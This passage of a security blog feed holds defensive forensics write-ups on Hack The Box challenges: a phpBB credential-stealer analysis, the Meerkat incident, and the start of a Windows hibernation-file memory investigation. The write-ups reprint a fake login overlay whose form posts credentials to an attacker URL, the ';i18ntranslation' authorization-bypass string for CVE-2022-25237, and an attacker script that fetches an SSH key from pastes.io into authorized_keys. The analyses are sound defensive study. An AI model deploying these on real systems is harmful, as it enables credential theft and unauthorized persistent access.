        <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">sethidden</span>(<span class="hljs-params"></span>) </span>{
            <span class="hljs-keyword">const</span> d = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>()
            d.setTime(d.getTime() + <span class="hljs-number">24</span> * <span class="hljs-number">60</span> * <span class="hljs-number">60</span> * <span class="hljs-number">1000</span>)
            <span class="hljs-keyword">let</span> expires = <span class="hljs-string">'expires='</span> + d.toUTCString()
            <span class="hljs-built_in">document</span>.cookie = <span class="hljs-string">'phpbb_token=1;'</span> + expires + <span class="hljs-string">';'</span>
            <span class="hljs-keyword">var</span> modal = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'zbzbz1234'</span>)
            modal.classList.add(<span class="hljs-string">'hidden'</span>)
        }
        <span class="hljs-built_in">document</span>.addEventListener(<span class="hljs-string">'DOMContentLoaded'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">event</span>) </span>{
            <span class="hljs-keyword">let</span> cookieexists = <span class="hljs-literal">false</span>
            <span class="hljs-keyword">let</span> name = <span class="hljs-string">'phpbb_token='</span>
            <span class="hljs-keyword">let</span> cookies = <span class="hljs-built_in">decodeURIComponent</span>(<span class="hljs-built_in">document</span>.cookie)
            <span class="hljs-keyword">let</span> ca = cookies.split(<span class="hljs-string">'; '</span>)
            <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> i = <span class="hljs-number">0</span>; i &lt; ca.length; i++) {
                <span class="hljs-keyword">let</span> c = ca[i]
                <span class="hljs-keyword">while</span> (c.charAt(<span class="hljs-number">0</span>) == <span class="hljs-string">' '</span>) {
                    c = c.substring(<span class="hljs-number">1</span>)
                }
                <span class="hljs-keyword">if</span> (c.indexOf(name) == <span class="hljs-number">0</span>) {
                    cookieexists = <span class="hljs-literal">true</span>
                }
            }
            <span class="hljs-keyword">if</span> (cookieexists) {
                <span class="hljs-keyword">return</span>
            }
            <span class="hljs-keyword">var</span> modal = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'zbzbz1234'</span>)
            modal.classList.remove(<span class="hljs-string">'hidden'</span>)
        })
    </span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
    //...
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"modal hidden"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"zbzbz1234"</span> <span class="hljs-attr">onload</span>=<span class="hljs-string">"shouldshow"</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"wrap"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"wrap"</span>&gt;</span> <span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"top"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"top-anchor"</span> <span class="hljs-attr">accesskey</span>=<span class="hljs-string">"t"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">form</span> <span class="hljs-attr">action</span>=<span class="hljs-string">"http://10.10.0.78/update.php"</span> <span class="hljs-attr">method</span>=<span class="hljs-string">"post"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"login"</span> <span class="hljs-attr">data-focus</span>=<span class="hljs-string">"username"</span>
                <span class="hljs-attr">target</span>=<span class="hljs-string">"hiddenframe"</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"panel"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"inner"</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"content"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">h2</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"login-title"</span>&gt;</span>Login<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">fieldset</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"fields1"</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">dl</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">dt</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">label</span> <span class="hljs-attr">for</span>=<span class="hljs-string">"username"</span>&gt;</span>Username:<span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">dt</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">dd</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text"</span> <span class="hljs-attr">tabindex</span>=<span class="hljs-string">"1"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"username"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"username"</span> <span class="hljs-attr">size</span>=<span class="hljs-string">"25"</span>
                                            <span class="hljs-attr">value</span>=<span class="hljs-string">""</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"inputbox autowidth"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">dd</span>&gt;</span>
                                <span class="hljs-tag">&lt;/<span class="hljs-name">dl</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">dl</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">dt</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">label</span> <span class="hljs-attr">for</span>=<span class="hljs-string">"password"</span>&gt;</span>Password:<span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">dt</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">dd</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"password"</span> <span class="hljs-attr">tabindex</span>=<span class="hljs-string">"2"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"password"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"password"</span> <span class="hljs-attr">size</span>=<span class="hljs-string">"25"</span>
                                            <span class="hljs-attr">class</span>=<span class="hljs-string">"inputbox autowidth"</span> <span class="hljs-attr">autocomplete</span>=<span class="hljs-string">"off"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">dd</span>&gt;</span>
                                <span class="hljs-tag">&lt;/<span class="hljs-name">dl</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">dl</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">dd</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">label</span> <span class="hljs-attr">for</span>=<span class="hljs-string">"autologin"</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"checkbox"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"autologin"</span>
                                                <span class="hljs-attr">id</span>=<span class="hljs-string">"autologin"</span> <span class="hljs-attr">tabindex</span>=<span class="hljs-string">"4"</span>&gt;</span>Remember me<span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">dd</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">dd</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">label</span> <span class="hljs-attr">for</span>=<span class="hljs-string">"viewonline"</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"checkbox"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"viewonline"</span>
                                                <span class="hljs-attr">id</span>=<span class="hljs-string">"viewonline"</span> <span class="hljs-attr">tabindex</span>=<span class="hljs-string">"5"</span>&gt;</span>Hide my online status this
                                            session<span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">dd</span>&gt;</span>
                                <span class="hljs-tag">&lt;/<span class="hljs-name">dl</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">dl</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">dt</span>&gt;</span><span class="hljs-symbol">&amp;nbsp;</span><span class="hljs-tag">&lt;/<span class="hljs-name">dt</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">dd</span>&gt;</span> <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"submit"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"login"</span> <span class="hljs-attr">tabindex</span>=<span class="hljs-string">"6"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"Login"</span>
                                            <span class="hljs-attr">class</span>=<span class="hljs-string">"button1"</span> <span class="hljs-attr">onclick</span>=<span class="hljs-string">"sethidden()"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">dd</span>&gt;</span>
                                <span class="hljs-tag">&lt;/<span class="hljs-name">dl</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-name">fieldset</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"fields1"</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">form</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<p>CSS styling used to "override" the browser content:</p>
<pre><code class="lang-css"><span class="hljs-selector-class">.modal</span> {
    <span class="hljs-attribute">position</span>: fixed;
    <span class="hljs-attribute">top</span>: <span class="hljs-number">0</span>;
    <span class="hljs-attribute">left</span>: <span class="hljs-number">0</span>;
    <span class="hljs-attribute">height</span>: <span class="hljs-number">100%</span>;
    <span class="hljs-attribute">width</span>: <span class="hljs-number">100%</span>;
    <span class="hljs-attribute">z-index</span>: <span class="hljs-number">101</span>;
    <span class="hljs-attribute">background-color</span>: white;
    <span class="hljs-attribute">opacity</span>: <span class="hljs-number">1</span>;
}
</code></pre>
<p>When someone enters credentials and tries to sing-in, username and password were redirected to the php script attacker controls:</p>
<p><code>&lt;form action="http://10.10.0.78/update.php" method="post" ...</code></p>
<ol start="4">
<li>What is the full URI that the credential stealer sends its data to?</li>
</ol>
<p><strong>Answer</strong>: <code>http://10.10.0.78/update.php</code></p>
<ol start="5">
<li><p>When did the contractor log into the forum as the administrator? (UTC)</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710869268098/552f53e0-8ca9-4f45-be52-e8eea2981c6e.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>In the forum there are plaintext credentials for the LDAP connection, what is the password?</p>
</li>
</ol>
<p>There is a <a target="_blank" href="https://github.com/rokx/phpbb_ext_db_or_ldap">plugin added to the phpBB</a> that enabled LDAP connections, so let't try grepping config for the hope that LDAP connection details are stored there.</p>
<pre><code class="lang-plaintext">$ sqlite3 phpbb.sqlite3 ".dump phpbb_config" | grep -i ldap
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710869289556/c2063587-ea8f-4b69-b4b4-67ed49272254.png" alt class="image--center mx-auto" /></p>
<ol start="7">
<li>What is the user agent of the Administrator user?</li>
</ol>
<p>User agents are listed in the <code>access.log</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710869303419/2bf08a30-0ca1-4406-8f01-ff681f685981.png" alt class="image--center mx-auto" /></p>
<ol start="8">
<li>What time did the contractor add themselves to the Administrator group? (UTC)</li>
</ol>
<p>Returning to the <code>phpbb_logs</code> table.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710869318978/a1ff8ed4-084e-4a87-ba41-37405299e3fa.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-plaintext">date -u -d @1682506431 "+%d/%m/%Y %H:%M:%S"
</code></pre>
<ol start="9">
<li>What time did the contractor download the database backup? (UTC)</li>
</ol>
<p>Again, <code>access.log</code></p>
<pre><code class="lang-plaintext">$ grep -iE "(.sql.)" access.log
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710869333722/3429390c-1fd0-4feb-bdb9-4d1e01f98e7c.png" alt class="image--center mx-auto" /></p>
<ol start="10">
<li>What was the size in bytes of the database backup as stated by access.log?</li>
</ol>
<p>Size is in the same line as previous answer.</p>
<p><strong>Answer</strong>: <code>34707</code></p>
<h1 id="heading-data-recovery">Data Recovery</h1>
<p>None required.</p>
<h1 id="heading-lessons-learned">Lessons Learned</h1>
<ul>
<li><p>Grepping <code>sqlite3</code> outputs (<code>sqlite3 [dbfile] ".dump ..." | grep ...</code>)</p>
</li>
<li><p>Converting Unix timestamp to UTC (<code>date -u -d @1682506431 "+%d/%m/%Y %H:%M:%S"</code>)</p>
</li>
</ul>
<h1 id="heading-additional-readings">Additional readings</h1>
<div class="hn-embed-widget" id="follow-cta"></div><p> </p>
<ul>
<li><a target="_blank" href="https://www.nist.gov/privacy-framework/nist-sp-800-61">NIST Computer Security Incident Handling Guide</a></li>
</ul>
]]></content:encoded></item><item><title><![CDATA[HTB Sherlock: Meerkat]]></title><description><![CDATA[💡
This write-up is a part of the HTB Sherlocks series. Sherlocks are investigative challenges that test defensive security skills. I encourage you to try them out if you like digital forensics, incident response, post-breach analysis and malware ana...]]></description><link>https://blog.cyberethical.me/htb-sherlock-meerkat</link><guid isPermaLink="true">https://blog.cyberethical.me/htb-sherlock-meerkat</guid><category><![CDATA[Ethical Hacking]]></category><category><![CDATA[PCAP]]></category><category><![CDATA[SOC]]></category><category><![CDATA[DFIR]]></category><dc:creator><![CDATA[Kamil Gierach-Pacanek]]></dc:creator><pubDate>Fri, 22 Mar 2024 08:00:09 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1710798321421/3ec8aadf-489f-4a91-89cd-21fb592efb24.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">This write-up is a part of the <a target="_blank" href="https://blog.cyberethical.me/series/htb-sherlocks">HTB Sherlocks series</a>. Sherlocks are investigative challenges that test defensive security skills. I encourage you to try them out if you like digital forensics, incident response, post-breach analysis and malware analysis. <a target="_blank" href="https://affiliate.hackthebox.com/sherlocks2352">Are you ready to start the investigation?</a></div>
</div>

<h1 id="heading-incident-details">Incident Details</h1>
<p><strong>Name</strong>: <a target="_blank" href="https://affiliate.hackthebox.com/sherlocks-meerkat">Meerkat</a><em>(Retired)</em><br /><strong>Category</strong>: SOC<br /><strong>Difficulty</strong>: Easy (<a target="_blank" href="https://labs.hackthebox.com/achievement/sherlock/555018/552">Solved</a>)</p>
<blockquote>
<p>As a fast growing startup, Forela have been utilising a business management platform. Unfortunately our documentation is scarce and our administrators aren't the most security aware. As our new security provider we'd like you to take a look at some PCAP and log data we have exported to confirm if we have (or have not) been compromised.</p>
</blockquote>
<div class="hn-embed-widget" id="support-cta"></div><p> </p>
<h1 id="heading-evidences">Evidences</h1>
<p>01: ZIP archive, password protected (<code>hacktheblue</code>)</p>
<pre><code class="lang-plaintext">$ meerkat.zip
a76867ade304c8081e2023cbf2977c65e8c146180b2e0ff760e4059d042c2a5a
</code></pre>
<p>02: JSON file</p>
<pre><code class="lang-plaintext">$ meerkat.zip/meerkat-alerts.json
012aa4e8aae5d500c001510d6e65567eb0cdbfffe2dab9a119b66f7770c222be
</code></pre>
<p>03: pcapng capture file</p>
<pre><code class="lang-plaintext">$ meerkat.zip/meerkat.pcap
aa3838dbd634f9798d1e9505d243a4fee1d340d6e25e2f0c9648dd64e2178dbf
</code></pre>
<h1 id="heading-analysis">Analysis</h1>
<p>In this scenario we have 10 questions to answer.</p>
<ol>
<li>We believe our Business Management Platform server has been compromised. Please can you confirm the name of the application running?</li>
</ol>
<pre><code class="lang-plaintext">$ cat meerkat-alerts.json | jq .[].alert.signature | sort | uniq &gt; alerts.sorted.unique
</code></pre>
<p>I'm assuming the application in question is the mentioned Business Management Platform. There are couple lines containing same name (blurred):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710743537112/5a82c238-76c2-4b2a-b66f-c524ed698af5.png" alt class="image--center mx-auto" /></p>
<ol start="2">
<li>We believe the attacker may have used a subset of the brute forcing attack category - what is the name of the attack carried out?</li>
</ol>
<p>Browsing the logs I can see the multiple alerts for "Default User Login Attempt" and "python-requests".</p>
<p><strong>Answer</strong>: <code>Credential Stuffing</code></p>
<ol start="3">
<li>Does the vulnerability exploited have a CVE assigned - and if so, which one?</li>
</ol>
<p>Clear in the logs.</p>
<p><strong>Answer</strong>: <code>CVE-2022-25237</code></p>
<ol start="4">
<li>Which string was appended to the API URL path to bypass the authorization filter by the attacker's exploit?</li>
</ol>
<p>CVE-2022-25237 exploit is performed by appending <code>;i18ntranslation</code> or <code>/../i18ntranslation/</code> to the end of a URL, so I'm opening <code>meerkat.pcap</code> in Wireshark. Alerts indicate that Credential Stuffing was performed from 138.199.59.221 to 172.31.6.44. Then I just looked in the requests to identify which of two strings was used.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710717172821/12b558cc-75d2-4ca2-a44f-045b91f07a33.png" alt class="image--center mx-auto" /></p>
<p><strong>Answer</strong>: <code>;i18ntranslation</code></p>
<ol start="5">
<li>How many combinations of usernames and passwords were used in the credential stuffing attack?</li>
</ol>
<p>Now let's use commandline <code>TShark</code> to filter and format output so that we have easier way to answer</p>
<pre><code class="lang-plaintext">$ tshark -r meerkat.pcap -2 -R "http.request.full_uri contains loginservice" -T fields -e "tcp.segment_data" | sort | uniq |  xxd -p -r
</code></pre>
<p>Pass <code>meerkat.pcap</code> file to <code>tshark</code>, filter packets by only those where request URI contains <code>loginservice</code>, show only single field - <code>tcp.segment_data</code> (that holds POST body), then sort those values and output unique values to <code>xxd</code> tool that will output in ASCII format.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710717214399/8d3e82d2-2971-489a-a25e-971ea13d1ae4.png" alt class="image--center mx-auto" /></p>
<p>Unfortunately I was not able to break the lines after xdd so I've done that in the text editor. There are 57 unique combinations, one of which (<code>username=install&amp;password=install</code>) is not a part of credential stuffing.</p>
<p><strong>Answer</strong>: <code>56</code></p>
<ol start="6">
<li>Which username and password combination was successful?</li>
</ol>
<p>Search in Wireshark for the response that sets "JSESSIONID" cookie, then follow the HTTP stream. See what credentials were used.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710743779703/34841e69-09fa-44b6-8918-aec9701346d9.png" alt class="image--center mx-auto" /></p>
<ol start="7">
<li>If any, which text sharing site did the attacker utilise?</li>
</ol>
<p>This time I was lucky becasue the answer was in the previous screen/filter.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710717254541/da2f1a13-cb14-4cd8-8ec3-7e04184bd6b9.png" alt class="image--center mx-auto" /></p>
<p><strong>Answer</strong>: <code>pastes.io</code></p>
<p>Bonus: contents of the reqested URLs are still active and contains scripts that adds SSH key to the <code>authorized_keys</code> collection and restarts SSH daemon.</p>
<ol start="8">
<li>Please provide the filename of the public key used by the attacker to gain persistence on our host.</li>
</ol>
<p>From the Bonus section of the last question - content of the first script:</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/bash</span>
curl https://pastes.io/raw/hffgra4unv &gt;&gt; /home/ubuntu/.ssh/authorized_keys
sudo service ssh restart
</code></pre>
<p><strong>Answer</strong>: <code>hffgra4unv</code></p>
<ol start="9">
<li>Can you confirmed the file modified by the attacker to gain persistence?</li>
</ol>
<p>Again, answer in the above script</p>
<p><strong>Answer</strong>: <code>/home/ubuntu/.ssh/authorized_keys</code></p>
<ol start="10">
<li>Can you confirm the MITRE technique ID of this type of persistence mechanism?</li>
</ol>
<p>Navigate to <a target="_blank" href="https://attack.mitre.org/">MITRE ATT&amp;CK®</a> -&gt; Persistence -&gt; SSH Authorized Keys.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710717316679/6b54718a-655d-4c97-b05a-7db92b0e3ccc.png" alt class="image--center mx-auto" /></p>
<p><strong>Answer</strong>: <code>T1098.004</code></p>
<h1 id="heading-data-recovery">Data Recovery</h1>
<p>None required.</p>
<h1 id="heading-lessons-learned">Lessons Learned</h1>
<ul>
<li><p><code>jq</code> for easier querying JSON data</p>
</li>
<li><p><code>tshark</code> for filtering and parsing PCAP files</p>
</li>
</ul>
<h1 id="heading-additional-readings">Additional readings</h1>
<div class="hn-embed-widget" id="follow-cta"></div><p> </p>
<ul>
<li><a target="_blank" href="https://www.nist.gov/privacy-framework/nist-sp-800-61">NIST Computer Security Incident Handling Guide</a></li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Forensics: Oblique Final]]></title><description><![CDATA[Introduction

As the days for the final round of the game, draw near, rumors are beginning to spread that one faction in particular has rigged the final! In the meeting with your team, you discuss that if the game is indeed rigged, then there can be ...]]></description><link>https://blog.cyberethical.me/htb-cyber-apocalypse-forensics-oblique-final</link><guid isPermaLink="true">https://blog.cyberethical.me/htb-cyber-apocalypse-forensics-oblique-final</guid><category><![CDATA[CTF Writeup]]></category><category><![CDATA[Ethical Hacking]]></category><category><![CDATA[reverse engineering]]></category><category><![CDATA[forensics]]></category><dc:creator><![CDATA[Kamil Gierach-Pacanek]]></dc:creator><pubDate>Sun, 17 Mar 2024 10:10:07 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1710669066432/9545d487-e55b-415f-84a8-dc1eb52f6ba8.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-introduction">Introduction</h1>
<blockquote>
<p>As the days for the final round of the game, draw near, rumors are beginning to spread that one faction in particular has rigged the final! In the meeting with your team, you discuss that if the game is indeed rigged, then there can be no victory here... Suddenly, one team player barged in carrying a Windows Laptop and said they found it in some back room in the game Architects' building just after the faction had left! As soon as you open it up it turns off due to a low battery! You explain to the rest of your team that the Legionnaires despise anything unethical and if you expose them and go to them with your evidence in hand, then you surely end up being their favorite up-and-coming faction. "Are you Ready To Run with the Wolves?!"</p>
</blockquote>
<p><strong>Type</strong>: Forensics<br /><strong>Difficulty</strong>: Insane<br /><strong>Event</strong>: <a target="_blank" href="https://ctf.hackthebox.com/event/details/cyber-apocalypse-2024-hacker-royale-1386"><strong>Hack The Box Cyber Apocalypse 2024: Hacker Royale</strong></a> (<a target="_blank" href="https://ctftime.org/event/2255"><strong>ctftime</strong></a>)</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">I will use your initial attention to express my gratitute towards the author of this challenge as it was for me same eye opener as when I discovered the imaginary numbers like 20 years ago, AKA: things that do not exist in your universe until they are revealed to you. To be honest, it's great for the challenges and fun, but that's <em>really scary</em> that such things exists. And for these kind of learning and emotions I love forensics challenges. So thank you <strong>c4n0pus</strong>🙇‍♂️.</div>
</div>

<h1 id="heading-initial-recon">Initial recon</h1>
<p>Given: Windows hibernation file.</p>
<pre><code class="lang-plaintext">$ hiberfil.sys (read-only)
f9f96147bfe041e3174eb988e4fc10e16c17a82b20bb6b7f9aff23126b523699
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710596726348/ef2c77d4-985c-4e16-86df-161294298c1c.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-investigation">Investigation</h1>
<details><summary>Windows Hibernation File</summary><div data-type="detailsContent"><code>hiberfil.sys</code> is a hidden system file is located in the root folder of the drive where the operating system is installed. The Windows Kernel Power Manager reserves this file when you install Windows. The size of this file is approximately equal to how much random access memory (RAM) is installed on the computer. The computer uses the <code>hiberfil.sys</code> file to store a <strong>copy of the system memory</strong> on the hard disk when the hybrid sleep setting is turned on. If this file is not present, the computer cannot hibernate.</div></details>

<p>Learned by experience, whenever I'm dealing with the memory dumps I start with <a target="_blank" href="https://volatilityfoundation.org/the-volatility-framework/">The Volatility Framework</a>. Unfortunately my hopes were quickly vanished becasue <code>volatility</code> can't operate directly on the <code>hiberfil.sys</code>. I scratched my head becasue it seemed unlikely that noone even thought about adding support for the hibernation files to the such profound tool.</p>
<p>Luckily for all of us, as of the time this CTF event started, <a target="_blank" href="https://www.forensicxlab.com/about/">ForensicXlab</a> already did the work and created a <a target="_blank" href="https://github.com/volatilityfoundation/volatility3/pull/1036">pull request</a> for <code>volatility3</code> adding two new plugins: <code>windows.hibernation.Info</code> and <code>windows.hibernation.Dump</code>.</p>
<blockquote>
<p>Seeing how long it took someone to finally come up with the plugins that easen working with hibernation memory dumps - 👏 for the <a target="_blank" href="https://infosec.exchange/@k1nd0ne">k1nd0ne</a>, arigato!</p>
</blockquote>
<p>After switching to the PR branch, my <code>volatility</code> was ready to create the <code>memory_layer.raw</code> file so I can finaly start analysis.</p>
<blockquote>
<p>For the sake of simplicity I'm using <code>vol3</code> alias for <code>python c:/ws/tools/volatility3/vol.py</code></p>
</blockquote>
<pre><code class="lang-plaintext">$ git fetch origin pull/1036/head:feature/hibernation-layer
$ vol3 -f hiberfil.sys windows.hibernation.Dump --version 0
</code></pre>
<blockquote>
<p>Why am I using version <code>0</code>? I just assumed that memory dump originates from Windows 10, and wanted to start from the latest possible</p>
<ul>
<li><p>0 [Windows 10 1703 to Windows 11 23H2]</p>
</li>
<li><p>1 [Windows 8/8.1]</p>
</li>
<li><p>2 [Windows 10 1507 to 1511]</p>
</li>
<li><p>3 [Windows 10 1607]</p>
</li>
</ul>
</blockquote>
<pre><code class="lang-plaintext">$ memory_layer.raw (read-only)
0cfb69681ee202f8f65245301ec113f6ea5fb1546f8bac0279baf65d8a800bc0
</code></pre>
<h2 id="heading-analyzing-memory-dump">Analyzing memory dump</h2>
<p>Now it's the most interesting and time-taking phase. I dump and organize various outputs from <code>volatility</code> simultanously trying to note down anything that could be analized later in the greater details. This was the first time when I was solving the Insane difficulty challenge, so my choice of plugins expanded to the ones I've never tried - becasue I really couldn't pinpoint what else could I do with what I have at my disposal. But about this a bit later.</p>
<p>I have used following plugins (some of them targeted on the specific processes):</p>
<pre><code class="lang-yaml"><span class="hljs-bullet">-</span> <span class="hljs-string">windows.pslist.out</span>
<span class="hljs-bullet">-</span> <span class="hljs-string">windows.dumpfiles.DumpFiles</span>
<span class="hljs-bullet">-</span> <span class="hljs-string">windows.cmdline.CmdLine.out</span>
<span class="hljs-bullet">-</span> <span class="hljs-string">windows.envars.Envars.6348.out</span>
<span class="hljs-bullet">-</span> <span class="hljs-string">windows.filescan.FileScan.out</span>
<span class="hljs-bullet">-</span> <span class="hljs-string">windows.mftscan.MFTScan.out</span>
<span class="hljs-bullet">-</span> <span class="hljs-string">windows.mbrscan.MBRScan.out</span>

<span class="hljs-bullet">-</span> <span class="hljs-string">windows.netscan.NetScan.out</span>
<span class="hljs-bullet">-</span> <span class="hljs-string">windows.netstat.NetStat.out</span>
<span class="hljs-bullet">-</span> <span class="hljs-string">windows.dlllist.DllList.out</span>
<span class="hljs-bullet">-</span> <span class="hljs-string">windows.handles.Handles.6348.out</span>
<span class="hljs-bullet">-</span> <span class="hljs-string">windows.handles.Handles.out</span>
<span class="hljs-bullet">-</span> <span class="hljs-string">windows.modscan.ModScan.out</span>
<span class="hljs-bullet">-</span> <span class="hljs-string">windows.modules.Modules.out</span>
<span class="hljs-bullet">-</span> <span class="hljs-string">windows.privileges.Privs.6348.out</span>
<span class="hljs-bullet">-</span> <span class="hljs-string">windows.registry.hivelist.HiveList.out</span>
<span class="hljs-bullet">-</span> <span class="hljs-string">windows.registry.hivelist.HiveScan.out</span>
<span class="hljs-bullet">-</span> <span class="hljs-string">windows.vadinfo.VadInfo.out</span>

<span class="hljs-bullet">-</span> <span class="hljs-string">windows.strings.Strings</span>
</code></pre>
<p>Top ones are what usually was enough for me to find the malicious process and dump it so I can analyze further, discover shell run command or suspicious environment variable. In the middle are ones that I run depending on the context finshing with these I've never touched. <code>windows.strings.Strings</code> is a really "I don't know what I am doing, just grab me all strings from that file and I will figure it out later when you finish, in like... 4 or 5 hours from now".</p>
<p>Here is my collection</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710599440362/baec784e-1bdf-4aa9-b84c-bccc285e7182.png" alt class="image--center mx-auto" /></p>
<p>As you can probably see one of the process cought my attention and will forever have special place in my heart 😅 .</p>
<h2 id="heading-process-6348">Process #6348</h2>
<div class="hn-table">
<table>
<thead>
<tr>
<td>PID</td><td>PPID</td><td>Offset(V)</td><td>ImageFileName</td></tr>
</thead>
<tbody>
<tr>
<td>6560</td><td>5852</td><td>0xac8d5fba2080</td><td>explorer.exe</td></tr>
<tr>
<td>6348</td><td>6560</td><td>0xac8d5ef4e080</td><td>TheGame.exe</td></tr>
<tr>
<td>2460</td><td>6348</td><td>0xac8d5f8e2080</td><td>conhost.exe</td></tr>
</tbody>
</table>
</div><p><code>TheGame.exe</code> is not usual executable you find on Windows system. Especialy one residing in this location (thanks to <code>windows.cmdline.CmdLine</code>):</p>
